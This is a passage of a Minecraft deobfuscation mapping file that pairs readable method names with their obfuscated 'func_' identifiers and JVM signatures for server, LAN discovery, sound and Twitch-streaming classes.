net/minecraft/server/integrated/IntegratedServer$3/run ()V +MD: net/minecraft/server/integrated/IntegratedServer/tick ()V net/minecraft/server/integrated/IntegratedServer/func_71217_p ()V +MD: net/minecraft/server/integrated/IntegratedServer/setStaticInstance ()V net/minecraft/server/integrated/IntegratedServer/func_175592_a ()V +MD: net/minecraft/server/integrated/IntegratedServer/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/server/integrated/IntegratedServer/func_71235_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/server/integrated/IntegratedServer/shareToLAN (Lnet/minecraft/world/WorldSettings$GameType;Z)Ljava/lang/String; net/minecraft/server/integrated/IntegratedServer/func_71206_a (Lnet/minecraft/world/WorldSettings$GameType;Z)Ljava/lang/String; +MD: net/minecraft/server/integrated/IntegratedServer/finalTick (Lnet/minecraft/crash/CrashReport;)V net/minecraft/server/integrated/IntegratedServer/func_71228_a (Lnet/minecraft/crash/CrashReport;)V +MD: net/minecraft/server/integrated/IntegratedServer/loadAllWorlds (Ljava/lang/String;Ljava/lang/String;JLnet/minecraft/world/WorldType;Ljava/lang/String;)V net/minecraft/server/integrated/IntegratedServer/func_71247_a (Ljava/lang/String;Ljava/lang/String;JLnet/minecraft/world/WorldType;Ljava/lang/String;)V +MD: net/minecraft/server/integrated/IntegratedServer/setDifficultyForAllWorlds (Lnet/minecraft/world/EnumDifficulty;)V net/minecraft/server/integrated/IntegratedServer/func_147139_a (Lnet/minecraft/world/EnumDifficulty;)V +MD: net/minecraft/server/integrated/IntegratedServer/addServerStatsToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/server/integrated/IntegratedServer/func_70000_a (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/server/integrated/IntegratedServer/isSnooperEnabled ()Z net/minecraft/server/integrated/IntegratedServer/func_70002_Q ()Z +MD: net/minecraft/server/integrated/IntegratedServer/isDedicatedServer ()Z net/minecraft/server/integrated/IntegratedServer/func_71262_S ()Z +MD: net/minecraft/server/integrated/IntegratedServer/shouldUseNativeTransport ()Z net/minecraft/server/integrated/IntegratedServer/func_181035_ah ()Z +MD: net/minecraft/server/integrated/IntegratedServer/isCommandBlockEnabled ()Z net/minecraft/server/integrated/IntegratedServer/func_82356_Z ()Z +MD: net/minecraft/server/integrated/IntegratedServer/getPublic ()Z net/minecraft/server/integrated/IntegratedServer/func_71344_c ()Z +MD: net/minecraft/server/integrated/IntegratedServer/addServerInfoToCrashReport (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; net/minecraft/server/integrated/IntegratedServer/func_71230_b (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/server/integrated/IntegratedServer/createNewCommandManager ()Lnet/minecraft/command/ServerCommandManager; net/minecraft/server/integrated/IntegratedServer/func_175582_h ()Lnet/minecraft/command/ServerCommandManager; +MD: net/minecraft/server/integrated/IntegratedServer/startServer ()Z net/minecraft/server/integrated/IntegratedServer/func_71197_b ()Z +MD: net/minecraft/server/integrated/IntegratedServer/canStructuresSpawn ()Z net/minecraft/server/integrated/IntegratedServer/func_71225_e ()Z +MD: net/minecraft/server/integrated/IntegratedServer/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/server/integrated/IntegratedServer/func_71265_f ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/server/integrated/IntegratedServer/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/server/integrated/IntegratedServer/func_147135_j ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/server/integrated/IntegratedServer/isHardcore ()Z net/minecraft/server/integrated/IntegratedServer/func_71199_h ()Z +MD: net/minecraft/server/integrated/IntegratedServer/getOpPermissionLevel ()I net/minecraft/server/integrated/IntegratedServer/func_110455_j ()I +MD: net/minecraft/server/integrated/IntegratedServer/shouldBroadcastRconToOps ()Z net/minecraft/server/integrated/IntegratedServer/func_181034_q ()Z +MD: net/minecraft/server/integrated/IntegratedServer/shouldBroadcastConsoleToOps ()Z net/minecraft/server/integrated/IntegratedServer/func_183002_r ()Z +MD: net/minecraft/server/integrated/IntegratedServer/stopServer ()V net/minecraft/server/integrated/IntegratedServer/func_71260_j ()V +MD: net/minecraft/server/integrated/IntegratedServer/initiateShutdown ()V net/minecraft/server/integrated/IntegratedServer/func_71263_m ()V +MD: net/minecraft/server/integrated/IntegratedServer/getDataDirectory ()Ljava/io/File; net/minecraft/server/integrated/IntegratedServer/func_71238_n ()Ljava/io/File; +MD: net/minecraft/client/network/LanServerDetector$LanServer/getServerMotd ()Ljava/lang/String; net/minecraft/client/network/LanServerDetector$LanServer/func_77487_a ()Ljava/lang/String; +MD: net/minecraft/client/network/LanServerDetector$LanServer/getServerIpPort ()Ljava/lang/String; net/minecraft/client/network/LanServerDetector$LanServer/func_77488_b ()Ljava/lang/String; +MD: net/minecraft/client/network/LanServerDetector$LanServer/updateLastSeen ()V net/minecraft/client/network/LanServerDetector$LanServer/func_77489_c ()V +MD: net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/run ()V net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/run ()V +MD: net/minecraft/client/network/LanServerDetector$LanServerList/getWasUpdated ()Z net/minecraft/client/network/LanServerDetector$LanServerList/func_77553_a ()Z +MD: net/minecraft/client/network/LanServerDetector$LanServerList/func_77551_a (Ljava/lang/String;Ljava/net/InetAddress;)V net/minecraft/client/network/LanServerDetector$LanServerList/func_77551_a (Ljava/lang/String;Ljava/net/InetAddress;)V +MD: net/minecraft/client/network/LanServerDetector$LanServerList/setWasNotUpdated ()V net/minecraft/client/network/LanServerDetector$LanServerList/func_77552_b ()V +MD: net/minecraft/client/network/LanServerDetector$LanServerList/getLanServers ()Ljava/util/List; net/minecraft/client/network/LanServerDetector$LanServerList/func_77554_c ()Ljava/util/List; +MD: net/minecraft/client/network/LanServerDetector/access$000 ()Ljava/util/concurrent/atomic/AtomicInteger; net/minecraft/client/network/LanServerDetector/access$000 ()Ljava/util/concurrent/atomic/AtomicInteger; +MD: net/minecraft/client/network/LanServerDetector/access$100 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/network/LanServerDetector/access$100 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/multiplayer/ThreadLanServerPing/getMotdFromPingResponse (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/multiplayer/ThreadLanServerPing/func_77524_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ThreadLanServerPing/getPingResponse (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/multiplayer/ThreadLanServerPing/func_77525_a (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ThreadLanServerPing/getAdFromPingResponse (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/multiplayer/ThreadLanServerPing/func_77523_b (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ThreadLanServerPing/interrupt ()V net/minecraft/client/multiplayer/ThreadLanServerPing/interrupt ()V +MD: net/minecraft/client/multiplayer/ThreadLanServerPing/run ()V net/minecraft/client/multiplayer/ThreadLanServerPing/run ()V +MD: net/minecraft/client/audio/MusicTicker$MusicType/getMusicLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/audio/MusicTicker$MusicType/func_148635_a ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/audio/MusicTicker$MusicType/getMinDelay ()I net/minecraft/client/audio/MusicTicker$MusicType/func_148634_b ()I +MD: net/minecraft/client/audio/MusicTicker$MusicType/getMaxDelay ()I net/minecraft/client/audio/MusicTicker$MusicType/func_148633_c ()I +MD: net/minecraft/client/audio/MusicTicker$MusicType/values ()[Lnet/minecraft/client/audio/MusicTicker$MusicType; net/minecraft/client/audio/MusicTicker$MusicType/values ()[Lnet/minecraft/client/audio/MusicTicker$MusicType; +MD: net/minecraft/client/audio/MusicTicker/func_181557_a ()V net/minecraft/client/audio/MusicTicker/func_181557_a ()V +MD: net/minecraft/client/audio/MusicTicker/func_181558_a (Lnet/minecraft/client/audio/MusicTicker$MusicType;)V net/minecraft/client/audio/MusicTicker/func_181558_a (Lnet/minecraft/client/audio/MusicTicker$MusicType;)V +MD: net/minecraft/client/audio/MusicTicker/update ()V net/minecraft/client/audio/MusicTicker/func_73660_a ()V +MD: net/minecraft/client/audio/SoundPoolEntry/getSoundPoolEntryLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/audio/SoundPoolEntry/func_148652_a ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/audio/SoundPoolEntry/setPitch (D)V net/minecraft/client/audio/SoundPoolEntry/func_148651_a (D)V +MD: net/minecraft/client/audio/SoundPoolEntry/getPitch ()D net/minecraft/client/audio/SoundPoolEntry/func_148650_b ()D +MD: net/minecraft/client/audio/SoundPoolEntry/setVolume (D)V net/minecraft/client/audio/SoundPoolEntry/func_148647_b (D)V +MD: net/minecraft/client/audio/SoundPoolEntry/getVolume ()D net/minecraft/client/audio/SoundPoolEntry/func_148649_c ()D +MD: net/minecraft/client/audio/SoundPoolEntry/isStreamingSound ()Z net/minecraft/client/audio/SoundPoolEntry/func_148648_d ()Z +MD: net/minecraft/client/audio/SoundManager$1$1/errorMessage (Ljava/lang/String;Ljava/lang/String;I)V net/minecraft/client/audio/SoundManager$1$1/errorMessage (Ljava/lang/String;Ljava/lang/String;I)V +MD: net/minecraft/client/audio/SoundManager$1$1/importantMessage (Ljava/lang/String;I)V net/minecraft/client/audio/SoundManager$1$1/importantMessage (Ljava/lang/String;I)V +MD: net/minecraft/client/audio/SoundManager$1$1/message (Ljava/lang/String;I)V net/minecraft/client/audio/SoundManager$1$1/message (Ljava/lang/String;I)V +MD: net/minecraft/client/audio/SoundManager$1/run ()V net/minecraft/client/audio/SoundManager$1/run ()V +MD: net/minecraft/client/audio/SoundManager$2$1/connect ()V net/minecraft/client/audio/SoundManager$2$1/connect ()V +MD: net/minecraft/client/audio/SoundManager$2$1/getInputStream ()Ljava/io/InputStream; net/minecraft/client/audio/SoundManager$2$1/getInputStream ()Ljava/io/InputStream; +MD: net/minecraft/client/audio/SoundManager$2/openConnection (Ljava/net/URL;)Ljava/net/URLConnection; net/minecraft/client/audio/SoundManager$2/openConnection (Ljava/net/URL;)Ljava/net/URLConnection; +MD: net/minecraft/client/audio/SoundManager$SoundSystemStarterThread/playing (Ljava/lang/String;)Z net/minecraft/client/audio/SoundManager$SoundSystemStarterThread/playing (Ljava/lang/String;)Z +MD: net/minecraft/client/audio/SoundManager/reloadSoundSystem ()V net/minecraft/client/audio/SoundManager/func_148596_a ()V +MD: net/minecraft/client/audio/SoundManager/getSoundCategoryVolume (Lnet/minecraft/client/audio/SoundCategory;)F net/minecraft/client/audio/SoundManager/func_148595_a (Lnet/minecraft/client/audio/SoundCategory;)F +MD: net/minecraft/client/audio/SoundManager/setSoundCategoryVolume (Lnet/minecraft/client/audio/SoundCategory;F)V net/minecraft/client/audio/SoundManager/func_148601_a (Lnet/minecraft/client/audio/SoundCategory;F)V +MD: net/minecraft/client/audio/SoundManager/isSoundPlaying (Lnet/minecraft/client/audio/ISound;)Z net/minecraft/client/audio/SoundManager/func_148597_a (Lnet/minecraft/client/audio/ISound;)Z +MD: net/minecraft/client/audio/SoundManager/playDelayedSound (Lnet/minecraft/client/audio/ISound;I)V net/minecraft/client/audio/SoundManager/func_148599_a (Lnet/minecraft/client/audio/ISound;I)V +MD: net/minecraft/client/audio/SoundManager/getNormalizedPitch (Lnet/minecraft/client/audio/ISound;Lnet/minecraft/client/audio/SoundPoolEntry;)F net/minecraft/client/audio/SoundManager/func_148606_a (Lnet/minecraft/client/audio/ISound;Lnet/minecraft/client/audio/SoundPoolEntry;)F +MD: net/minecraft/client/audio/SoundManager/getNormalizedVolume (Lnet/minecraft/client/audio/ISound;Lnet/minecraft/client/audio/SoundPoolEntry;Lnet/minecraft/client/audio/SoundCategory;)F net/minecraft/client/audio/SoundManager/func_148594_a (Lnet/minecraft/client/audio/ISound;Lnet/minecraft/client/audio/SoundPoolEntry;Lnet/minecraft/client/audio/SoundCategory;)F +MD: net/minecraft/client/audio/SoundManager/access$400 (Lnet/minecraft/client/audio/SoundManager;)Lnet/minecraft/client/settings/GameSettings; net/minecraft/client/audio/SoundManager/access$400 (Lnet/minecraft/client/audio/SoundManager;)Lnet/minecraft/client/settings/GameSettings; +MD: net/minecraft/client/audio/SoundManager/access$102 (Lnet/minecraft/client/audio/SoundManager;Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread;)Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread; net/minecraft/client/audio/SoundManager/access$102 (Lnet/minecraft/client/audio/SoundManager;Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread;)Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread; +MD: net/minecraft/client/audio/SoundManager/access$302 (Lnet/minecraft/client/audio/SoundManager;Z)Z net/minecraft/client/audio/SoundManager/access$302 (Lnet/minecraft/client/audio/SoundManager;Z)Z +MD: net/minecraft/client/audio/SoundManager/getURLForSoundResource (Lnet/minecraft/util/ResourceLocation;)Ljava/net/URL; net/minecraft/client/audio/SoundManager/func_148612_a (Lnet/minecraft/util/ResourceLocation;)Ljava/net/URL; +MD: net/minecraft/client/audio/SoundManager/setListener (Lnet/minecraft/entity/player/EntityPlayer;F)V net/minecraft/client/audio/SoundManager/func_148615_a (Lnet/minecraft/entity/player/EntityPlayer;F)V +MD: net/minecraft/client/audio/SoundManager/unloadSoundSystem ()V net/minecraft/client/audio/SoundManager/func_148613_b ()V +MD: net/minecraft/client/audio/SoundManager/stopSound (Lnet/minecraft/client/audio/ISound;)V net/minecraft/client/audio/SoundManager/func_148602_b (Lnet/minecraft/client/audio/ISound;)V +MD: net/minecraft/client/audio/SoundManager/access$100 (Lnet/minecraft/client/audio/SoundManager;)Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread; net/minecraft/client/audio/SoundManager/access$100 (Lnet/minecraft/client/audio/SoundManager;)Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread; +MD: net/minecraft/client/audio/SoundManager/stopAllSounds ()V net/minecraft/client/audio/SoundManager/func_148614_c ()V +MD: net/minecraft/client/audio/SoundManager/playSound (Lnet/minecraft/client/audio/ISound;)V net/minecraft/client/audio/SoundManager/func_148611_c (Lnet/minecraft/client/audio/ISound;)V +MD: net/minecraft/client/audio/SoundManager/updateAllSounds ()V net/minecraft/client/audio/SoundManager/func_148605_d ()V +MD: net/minecraft/client/audio/SoundManager/pauseAllSounds ()V net/minecraft/client/audio/SoundManager/func_148610_e ()V +MD: net/minecraft/client/audio/SoundManager/resumeAllSounds ()V net/minecraft/client/audio/SoundManager/func_148604_f ()V +MD: net/minecraft/client/audio/SoundManager/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/audio/SoundManager/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/audio/SoundManager/access$500 ()Lorg/apache/logging/log4j/Marker; net/minecraft/client/audio/SoundManager/access$500 ()Lorg/apache/logging/log4j/Marker; +MD: net/minecraft/client/audio/SoundManager/loadSoundSystem ()V net/minecraft/client/audio/SoundManager/func_148608_i ()V +MD: net/minecraft/client/audio/SoundEventAccessorComposite/getWeight ()I net/minecraft/client/audio/SoundEventAccessorComposite/func_148721_a ()I +MD: net/minecraft/client/audio/SoundEventAccessorComposite/addSoundToEventPool (Lnet/minecraft/client/audio/ISoundEventAccessor;)V net/minecraft/client/audio/SoundEventAccessorComposite/func_148727_a (Lnet/minecraft/client/audio/ISoundEventAccessor;)V +MD: net/minecraft/client/audio/SoundEventAccessorComposite/cloneEntry ()Lnet/minecraft/client/audio/SoundPoolEntry; net/minecraft/client/audio/SoundEventAccessorComposite/func_148720_g ()Lnet/minecraft/client/audio/SoundPoolEntry; +MD: net/minecraft/client/audio/SoundEventAccessorComposite/getSoundEventLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/audio/SoundEventAccessorComposite/func_148729_c ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/audio/SoundEventAccessorComposite/getSoundCategory ()Lnet/minecraft/client/audio/SoundCategory; net/minecraft/client/audio/SoundEventAccessorComposite/func_148728_d ()Lnet/minecraft/client/audio/SoundCategory; +MD: net/minecraft/client/audio/SoundEventAccessorComposite/cloneEntry ()Ljava/lang/Object; net/minecraft/client/audio/SoundEventAccessorComposite/func_148720_g ()Ljava/lang/Object; +MD: net/minecraft/client/audio/SoundHandler$1/getActualTypeArguments ()[Ljava/lang/reflect/Type; net/minecraft/client/audio/SoundHandler$1/getActualTypeArguments ()[Ljava/lang/reflect/Type; +MD: net/minecraft/client/audio/SoundHandler$1/getOwnerType ()Ljava/lang/reflect/Type; net/minecraft/client/audio/SoundHandler$1/getOwnerType ()Ljava/lang/reflect/Type; +MD: net/minecraft/client/audio/SoundHandler$1/getRawType ()Ljava/lang/reflect/Type; net/minecraft/client/audio/SoundHandler$1/getRawType ()Ljava/lang/reflect/Type; +MD: net/minecraft/client/audio/SoundHandler$2/getWeight ()I net/minecraft/client/audio/SoundHandler$2/func_148721_a ()I +MD: net/minecraft/client/audio/SoundHandler$2/cloneEntry ()Lnet/minecraft/client/audio/SoundPoolEntry; net/minecraft/client/audio/SoundHandler$2/func_148720_g ()Lnet/minecraft/client/audio/SoundPoolEntry; +MD: net/minecraft/client/audio/SoundHandler$2/cloneEntry ()Ljava/lang/Object; net/minecraft/client/audio/SoundHandler$2/func_148720_g ()Ljava/lang/Object; +MD: net/minecraft/client/audio/SoundHandler/pauseSounds ()V net/minecraft/client/audio/SoundHandler/func_147689_b ()V +MD: net/minecraft/client/audio/SoundHandler/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/audio/SoundHandler/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/audio/SoundHandler/setSoundLevel (Lnet/minecraft/client/audio/SoundCategory;F)V net/minecraft/client/audio/SoundHandler/func_147684_a (Lnet/minecraft/client/audio/SoundCategory;F)V +MD: net/minecraft/client/audio/SoundHandler/playSound (Lnet/minecraft/client/audio/ISound;)V net/minecraft/client/audio/SoundHandler/func_147682_a (Lnet/minecraft/client/audio/ISound;)V +MD: net/minecraft/client/audio/SoundHandler/playDelayedSound (Lnet/minecraft/client/audio/ISound;I)V net/minecraft/client/audio/SoundHandler/func_147681_a (Lnet/minecraft/client/audio/ISound;I)V +MD: net/minecraft/client/audio/SoundHandler/access$000 (Lnet/minecraft/client/audio/SoundHandler;)Lnet/minecraft/client/audio/SoundRegistry; net/minecraft/client/audio/SoundHandler/access$000 (Lnet/minecraft/client/audio/SoundHandler;)Lnet/minecraft/client/audio/SoundRegistry; +MD: net/minecraft/client/audio/SoundHandler/getSoundMap (Ljava/io/InputStream;)Ljava/util/Map; net/minecraft/client/audio/SoundHandler/func_175085_a (Ljava/io/InputStream;)Ljava/util/Map; +MD: net/minecraft/client/audio/SoundHandler/getSound (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/audio/SoundEventAccessorComposite; net/minecraft/client/audio/SoundHandler/func_147680_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/audio/SoundEventAccessorComposite; +MD: net/minecraft/client/audio/SoundHandler/loadSoundResource (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/audio/SoundList;)V net/minecraft/client/audio/SoundHandler/func_147693_a (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/audio/SoundList;)V +MD: net/minecraft/client/audio/SoundHandler/setListener (Lnet/minecraft/entity/player/EntityPlayer;F)V net/minecraft/client/audio/SoundHandler/func_147691_a (Lnet/minecraft/entity/player/EntityPlayer;F)V +MD: net/minecraft/client/audio/SoundHandler/getRandomSoundFromCategories ([Lnet/minecraft/client/audio/SoundCategory;)Lnet/minecraft/client/audio/SoundEventAccessorComposite; net/minecraft/client/audio/SoundHandler/func_147686_a ([Lnet/minecraft/client/audio/SoundCategory;)Lnet/minecraft/client/audio/SoundEventAccessorComposite; +MD: net/minecraft/client/audio/SoundHandler/stopSounds ()V net/minecraft/client/audio/SoundHandler/func_147690_c ()V +MD: net/minecraft/client/audio/SoundHandler/stopSound (Lnet/minecraft/client/audio/ISound;)V net/minecraft/client/audio/SoundHandler/func_147683_b (Lnet/minecraft/client/audio/ISound;)V +MD: net/minecraft/client/audio/SoundHandler/update ()V net/minecraft/client/audio/SoundHandler/func_73660_a ()V +MD: net/minecraft/client/audio/SoundHandler/isSoundPlaying (Lnet/minecraft/client/audio/ISound;)Z net/minecraft/client/audio/SoundHandler/func_147692_c (Lnet/minecraft/client/audio/ISound;)Z +MD: net/minecraft/client/audio/SoundHandler/unloadSounds ()V net/minecraft/client/audio/SoundHandler/func_147685_d ()V +MD: net/minecraft/client/audio/SoundHandler/resumeSounds ()V net/minecraft/client/audio/SoundHandler/func_147687_e ()V +MD: net/minecraft/command/server/CommandTestFor/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandTestFor/func_82362_a ()I +MD: net/minecraft/command/server/CommandTestFor/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandTestFor/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandTestFor/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandTestFor/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandTestFor/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/server/CommandTestFor/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/server/CommandTestFor/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandTestFor/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandTestFor/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandTestFor/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/audio/SoundRegistry/clearMap ()V net/minecraft/client/audio/SoundRegistry/func_148763_c ()V +MD: net/minecraft/client/audio/SoundRegistry/registerSound (Lnet/minecraft/client/audio/SoundEventAccessorComposite;)V net/minecraft/client/audio/SoundRegistry/func_148762_a (Lnet/minecraft/client/audio/SoundEventAccessorComposite;)V +MD: net/minecraft/client/audio/SoundRegistry/createUnderlyingMap ()Ljava/util/Map; net/minecraft/client/audio/SoundRegistry/func_148740_a ()Ljava/util/Map; +MD: net/minecraft/client/audio/ISoundEventAccessor/getWeight ()I net/minecraft/client/audio/ISoundEventAccessor/func_148721_a ()I +MD: net/minecraft/client/audio/ISoundEventAccessor/cloneEntry ()Ljava/lang/Object; net/minecraft/client/audio/ISoundEventAccessor/func_148720_g ()Ljava/lang/Object; +MD: net/minecraft/client/audio/SoundEventAccessor/getWeight ()I net/minecraft/client/audio/SoundEventAccessor/func_148721_a ()I +MD: net/minecraft/client/audio/SoundEventAccessor/cloneEntry ()Lnet/minecraft/client/audio/SoundPoolEntry; net/minecraft/client/audio/SoundEventAccessor/func_148720_g ()Lnet/minecraft/client/audio/SoundPoolEntry; +MD: net/minecraft/client/audio/SoundEventAccessor/cloneEntry ()Ljava/lang/Object; net/minecraft/client/audio/SoundEventAccessor/func_148720_g ()Ljava/lang/Object; +MD: net/minecraft/client/stream/Metadata/func_152809_a ()Ljava/lang/String; net/minecraft/client/stream/Metadata/func_152809_a ()Ljava/lang/String; +MD: net/minecraft/client/stream/Metadata/func_152807_a (Ljava/lang/String;)V net/minecraft/client/stream/Metadata/func_152807_a (Ljava/lang/String;)V +MD: net/minecraft/client/stream/Metadata/func_152808_a (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/client/stream/Metadata/func_152808_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/client/stream/Metadata/func_152806_b ()Ljava/lang/String; net/minecraft/client/stream/Metadata/func_152806_b ()Ljava/lang/String; +MD: net/minecraft/client/stream/Metadata/func_152810_c ()Ljava/lang/String; net/minecraft/client/stream/Metadata/func_152810_c ()Ljava/lang/String; +MD: net/minecraft/client/stream/Metadata/toString ()Ljava/lang/String; net/minecraft/client/stream/Metadata/toString ()Ljava/lang/String; +MD: net/minecraft/client/stream/BroadcastController$1/bufferUnlockCallback (J)V net/minecraft/client/stream/BroadcastController$1/bufferUnlockCallback (J)V +MD: net/minecraft/client/stream/BroadcastController$1/getArchivingStateCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ArchivingState;)V net/minecraft/client/stream/BroadcastController$1/getArchivingStateCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ArchivingState;)V +MD: net/minecraft/client/stream/BroadcastController$1/getGameNameListCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/GameInfoList;)V net/minecraft/client/stream/BroadcastController$1/getGameNameListCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/GameInfoList;)V +MD: net/minecraft/client/stream/BroadcastController$1/getIngestServersCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/IngestList;)V net/minecraft/client/stream/BroadcastController$1/getIngestServersCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/IngestList;)V +MD: net/minecraft/client/stream/BroadcastController$1/getStreamInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/StreamInfo;)V net/minecraft/client/stream/BroadcastController$1/getStreamInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/StreamInfo;)V +MD: net/minecraft/client/stream/BroadcastController$1/getUserInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/UserInfo;)V net/minecraft/client/stream/BroadcastController$1/getUserInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/UserInfo;)V +MD: net/minecraft/client/stream/BroadcastController$1/loginCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ChannelInfo;)V net/minecraft/client/stream/BroadcastController$1/loginCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ChannelInfo;)V +MD: net/minecraft/client/stream/BroadcastController$1/requestAuthTokenCallback (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V net/minecraft/client/stream/BroadcastController$1/requestAuthTokenCallback (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V +MD: net/minecraft/client/stream/BroadcastController$1/runCommercialCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/runCommercialCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$1/sendActionMetaDataCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/sendActionMetaDataCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$1/sendEndSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/sendEndSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$1/sendStartSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/sendStartSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$1/setStreamInfoCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/setStreamInfoCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$1/startCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/startCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$1/stopCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$1/stopCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$2/statCallback (Ltv/twitch/broadcast/StatType;J)V net/minecraft/client/stream/BroadcastController$2/statCallback (Ltv/twitch/broadcast/StatType;J)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastState/values ()[Lnet/minecraft/client/stream/BroadcastController$BroadcastState; net/minecraft/client/stream/BroadcastController$BroadcastState/values ()[Lnet/minecraft/client/stream/BroadcastController$BroadcastState; +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152895_a ()V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152895_a ()V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152891_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastState;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152891_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastState;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152897_a (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152897_a (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152900_a (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152900_a (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152898_a (Ltv/twitch/ErrorCode;[Ltv/twitch/broadcast/GameInfo;)V 